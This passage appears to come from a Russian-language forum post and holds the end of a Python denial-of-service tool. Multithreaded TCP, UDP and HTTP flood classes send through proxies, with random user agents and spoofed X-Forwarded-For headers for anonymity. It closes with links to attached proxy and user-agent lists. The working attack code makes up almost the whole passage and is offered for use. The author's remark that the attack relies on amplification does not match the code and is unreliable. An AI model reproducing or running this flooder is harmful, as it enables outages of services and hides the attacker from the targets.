для счета\n go = threading.Event()\n if choice1 == \"1\": # Выбираем TCP флуд\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n TcpFloodProxed(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы\n else: # Выбираем UDP флуд\n if choice1 == \"2\":\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n UdpFloodProxed(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы\n else: # Выбираем HTTP флуд\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n RequestProxyHTTP(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы\n\n\n\nclass TcpFloodProxed(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n data = random._urandom(1024) # рандомная дата для пакета\n p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True:\n try:\n socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования\n s = socks.socksocket() # создание сокета\n s.connect((str(url2),int(port))) # подключение\n s.send(p) # отправка\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(p)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()\n except:\n s.close() # если что-то пойдет не так, закрыть поток и начать заного\n\n\nclass UdpFloodProxed(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n data = random._urandom(1024) # рандомная дата для пакета\n p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # построение пакета udp (классика)\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True:\n try:\n socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования\n s = socks.socksocket() # создание сокета\n s.connect((str(url2),int(port))) # подключение\n s.send(p) # отправка\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(p)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()\n except:\n s.close() # если что-то пойдет не так, закрыть поток и начать заного\n\nclass RequestProxyHTTP(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n useragent = \"User-Agent: \" + random.choice(useragents) + \"\\r\\n\" # выбор рандомного useragent-а\n accept = random.choice(acceptall) # выбор рандомного заголовка \"Accept\"\n randomip = str(random.randint(0,255)) + \".\" + str(random.randint(0,255)) + \".\" + str(random.randint(0,255)) + \".\" + str(random.randint(0,255))\n forward = \"X-Forwarded-For: \" + randomip + \"\\r\\n\" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность\n request = get_host + useragent + accept + forward + connection + \"\\r\\n\" # создаем конечный запрос\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True: # бесконечный цикл\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет\n s.connect((str(proxy[0]), int(proxy[1]))) # конектимся к прокси\n s.send(str.encode(request)) # кодируем запрос в байты\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(request)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()\n except:\n s.close() # если что-то пойдет не так, закрыть поток и начать заного\n\n\n\n\nif __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции\n checkURL()\n typeflood()\n loop()","type":"unstyled","key":"ceej2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"А на этом все. Спасибо всем кто дочитал до конца!)\nPS Прикрепил файлы с проксями и юзерагентами.\nPSPS DoS производится за счет amplification фактора. ","type":"unstyled","key":"8fsbo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"(https://codeby.net/attachments/proxy-txt.23957/ ------ прокси; https://codeby.net/attachments/useragents-txt.23958/ --------- юзерагенты.)","type":"unstyled","key":"flogu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"(Источник: codeby.net)","type":"unstyled","key":"8emd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"rNYxNI1bSjAJnwf5Mqf6"}],"entityMap":{}},"mentions":[]}